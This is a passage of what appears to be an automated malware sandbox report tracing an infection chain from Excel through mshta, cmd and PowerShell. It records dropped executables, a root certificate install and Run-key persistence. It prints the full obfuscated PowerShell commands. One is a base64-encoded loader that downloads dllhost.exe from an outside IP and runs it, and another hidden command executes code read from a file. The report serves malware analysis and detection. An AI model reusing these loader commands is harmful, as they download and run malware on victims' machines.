Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PoWeRSHElL -Ex BypaSs -nOp -W 1 -c DeVIcEcREdENTiaLdEplOYMENT.eXe ; iEx($(ieX('[SYsTeM.TExT.ENcODINg]'+[Char]0X3a+[Char]0X3A+'Utf8.getstRiNg([SYstEm.coNvErt]'+[chAR]58+[cHar]58+'FroMBAsE64sTrIng('+[chaR]34+'JEFLICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC10eVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lTWJlUkRlZmluaVRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJMTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEZ3d0ssc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgREhBSGdCREYsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQkhzLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBUVyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwdXphbUVkKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAic3MiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTUVzUGFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIElrc250TGdtU3F0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRBSzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjIyMC4yMi80MzAvZGxsaG9zdC5leGUiLCIkZW52OkFQUERBVEFcZGxsaG9zdC5leGUiLDAsMCk7c3RhclQtc2xFRXAoMyk7U1RhUnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVuVjpBUFBEQVRBXGRsbGhvc3QuZXhlIg=='+[cHAR]0x22+'))')))" Jump to behavior
Source: C:\Users\user\AppData\Roaming\dllhost.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -windowstyle hidden "$krjning=Get-Content -Raw 'C:\Users\user\AppData\Roaming\intercessionate\Favourablies117\sulfonylurea\Aerognosy.Res';$Lukewarmly95=$krjning.SubString(5322,3);.$Lukewarmly95($krjning)" Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PoWeRSHElL -Ex BypaSs -nOp -W 1 -c DeVIcEcREdENTiaLdEplOYMENT.eXe ; iEx($(ieX('[SYsTeM.TExT.ENcODINg]'+[Char]0X3a+[Char]0X3A+'Utf8.getstRiNg([SYstEm.coNvErt]'+[chAR]58+[cHar]58+'FroMBAsE64sTrIng('+[chaR]34+'JEFLICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC10eVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lTWJlUkRlZmluaVRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJMTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEZ3d0ssc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgREhBSGdCREYsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQkhzLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBUVyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwdXphbUVkKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAic3MiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTUVzUGFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIElrc250TGdtU3F0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRBSzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjIyMC4yMi80MzAvZGxsaG9zdC5leGUiLCIkZW52OkFQUERBVEFcZGxsaG9zdC5leGUiLDAsMCk7c3RhclQtc2xFRXAoMyk7U1RhUnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVuVjpBUFBEQVRBXGRsbGhvc3QuZXhlIg=='+[cHAR]0x22+'))')))"
Source: C:\Users\user\AppData\Roaming\dllhost.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -windowstyle hidden "$krjning=Get-Content -Raw 'C:\Users\user\AppData\Roaming\intercessionate\Favourablies117\sulfonylurea\Aerognosy.Res';$Lukewarmly95=$krjning.SubString(5322,3);.$Lukewarmly95($krjning)"
Compiles C# or VB.Net code
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\sm41lsyu\sm41lsyu.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\r4gn3nq1\r4gn3nq1.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\sm41lsyu\sm41lsyu.cmdline" Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\r4gn3nq1\r4gn3nq1.cmdline"
Contains functionality to dynamically determine API calls
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 34_2_004044A4 LoadLibraryW,GetProcAddress,FreeLibrary,MessageBoxW, 34_2_004044A4
Uses code obfuscation techniques (call, push, ret)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 7_2_000007FE896F022D push eax; iretd 7_2_000007FE896F0241
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 7_2_000007FE896F00BD pushad ; iretd 7_2_000007FE896F00C1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 12_2_04B630E8 push eax; iretd 12_2_04B63312
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 12_2_04B62EB4 push esi; iretd 12_2_04B62EBE
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 12_2_04B62EBF push esi; iretd 12_2_04B62EC2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 12_2_04B633CF push edx; iretd 12_2_04B633D2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 12_2_04B63310 push eax; iretd 12_2_04B63312
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 12_2_06554441 push ebp; iretd 12_2_06554442
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 12_2_06556667 push ebp; ret 12_2_0655666D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 12_2_0655628D push edx; retf 12_2_065562BD
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 12_2_06550B59 push eax; iretd 12_2_06550B5B
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 12_2_06551F0F push ebx; iretd 12_2_06551F11
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 12_2_06554B20 push 763C485Bh; iretd 12_2_06554B2F
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 12_2_0655472A push 00000058h; retf 12_2_0655473A
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 33_2_01941F0F push ebx; iretd 33_2_01941F11
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 33_2_01944B20 push 763C485Bh; iretd 33_2_01944B2F
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 33_2_0194472A push 00000058h; retf 33_2_0194473A
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 33_2_01940B59 push eax; iretd 33_2_01940B5B
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 33_2_0194628D push edx; retf 33_2_019462BD
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 33_2_01944441 push ebp; iretd 33_2_01944442
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 33_2_01946667 push ebp; ret 33_2_0194666D
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 34_2_0044693D push ecx; ret 34_2_0044694D
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 34_2_0044DB70 push eax; ret 34_2_0044DB84
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 34_2_0044DB70 push eax; ret 34_2_0044DBAC
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 34_2_00451D54 push eax; ret 34_2_00451D61
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 35_2_0044B090 push eax; ret 35_2_0044B0A4
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 35_2_0044B090 push eax; ret 35_2_0044B0CC
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 35_2_00451D34 push eax; ret 35_2_00451D41
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 35_2_00444E71 push ecx; ret 35_2_00444E81
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 36_2_00414060 push eax; ret 36_2_00414074
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 36_2_00414060 push eax; ret 36_2_0041409C

Persistence and Installation Behavior
barindex
Installs new ROOT certificates
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob Jump to behavior
Drops PE files
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe File created: C:\Users\user\AppData\Local\Temp\sm41lsyu\sm41lsyu.dll Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Roaming\dllhost.exe Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe File created: C:\Users\user\AppData\Local\Temp\r4gn3nq1\r4gn3nq1.dll Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\dllhost[1].exe Jump to dropped file
Source: C:\Windows\SysWOW64\reg.exe Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run Chivey57
Source: C:\Windows\SysWOW64\reg.exe Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run Chivey57
Extensive use of GetProcAddress (often used to hide API calls)
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 35_2_004047CB LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress, 35_2_004047CB
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\dllhost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\dllhost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\dllhost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\dllhost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\dllhost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\dllhost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\dllhost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
